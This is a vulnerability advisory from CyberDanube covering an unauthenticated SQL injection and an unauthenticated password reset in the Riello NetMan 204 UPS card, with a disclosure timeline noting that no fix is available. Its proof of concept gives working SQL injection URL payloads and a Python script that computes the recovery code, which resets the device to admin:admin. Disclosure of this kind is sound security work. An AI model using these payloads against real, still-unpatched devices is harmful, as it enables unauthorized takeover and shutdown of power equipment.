CyberDanube Security Research 20240919-0 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Netman 204 vulnerable version| 4.05 fixed version| - CVE number| CVE-2024-8877, CVE-2024-8878 impact| High homepage| https://www.riello-ups.com/ found| 2024-05-17 by| D. Blagojevic (Office Vienna) | S. Dietz (Office Vienna) | T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Plten | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Riello Elettronica, lead by Cav. Lav. Pierantonio Riello, has a presence today in the Electrical manufacturing industry with two divisions: Energy, Automation and Security. It is a leader in the Uninterruptible Power Supply market with the well-known brand Riello UPS. Energy represents the Groups core business, in particular with the manufacture of UPS that are firstly able to guarantee the quality of electricity and secondly maintain normal operation and continuity in case of blackouts or anomalies in the energy supply. Riello UPS designs and produces strategical solutions for every kind of requirement and make a bespoke offering according to the clients needs: from banks to the hospitals, transport to infrastructures, from domestic use to data centres." Source: https://www.riello-ups.com/pages/41-the-riello-elettronica-group Vulnerable versions ------------------------------------------------------------------------------- NetMan 204 / 4.05 Vulnerability overview ------------------------------------------------------------------------------- 1) SQL Injection (CVE-2024-8877) The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way. 2) Unauthenticated Password Reset (CVE-2024-8878) By navigating to the endpoint /recoverpassword.html an attacker can gather the netmanid from the UPS. This id can be used to calculate the recovery code for resetting the password. This way enables an attacker to take over control of the UPS and e.g. turn it off. Proof of Concept ------------------------------------------------------------------------------- 1) SQL Injection (CVE-2024-8877) The system is subsceptible to SQL injections, which is illustrated by the following payloads: AND 1=0: /cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160& gravity=%25&type=%25%27and/**/%271%27=%270 AND 1=1: /cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160& gravity=%25&type=%25%27and/**/%271%27=%271 The first request does not return any data, while the second request returns all entries with a start and end date in the given interval. 2) Unauthenticated Password Reset (CVE-2024-8878) The following python script can be used to generate the recovery code from the netmanid: import hashlib import sys def calc_code(netman_id): secret = b"NMP" netman_id = secret + netman_id[3:] round1 = hashlib.md5(netman_id).hexdigest().encode('utf-8') round2 = hashlib.sha1(round1).hexdigest() code = round2[5:5+7] return code if len(sys.argv) < 2: sys.exit("usage: {} netman_id".format(sys.argv[0])) netman_id = sys.argv[1] print(calc_code(netman_id.encode('utf-8')) Inputting the recovery code in /recoverpassword.html resets the login credentials to admin:admin. Solution ------------------------------------------------------------------------------- None Workaround ------------------------------------------------------------------------------- Limit access to the device. Recommendation ------------------------------------------------------------------------------- Riello should release a firmware update that fixes the mentioned vulnerabilities. Customers should not use this device in productive networks. Contact Timeline ------------------------------------------------------------------------------- 2024-05-21: Contacting Riello UPS Group via riello@riello-ups.com. 2024-06-06: Contacting Riello UPS Group via security-incident@riello-ups.com. 2024-06-10: Received confirmation that the issue is being looked into. 2024-07-22: Asking Riello UPS Group for a status of the update. 2024-07-22: Contact stated that there is no planned date for the update. 2024-08-05: Asking Riello UPS Group for a status of the update and telling them that the advisory will be published on 2024-09-19 after a 90-day period as stated in our Responsible Disclosure Agreement. 2024-08-07: Contact stated that there are no news regarding the update and that it would take longer than 2024-09-19. 2024-08-13: Asking Riello UPS Group about news on the update and a possible release date. 2024-08-26: Contact stated that there are is no information regarding the update. 2024-09-19: Advisory published. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF David Blagojevic / @2024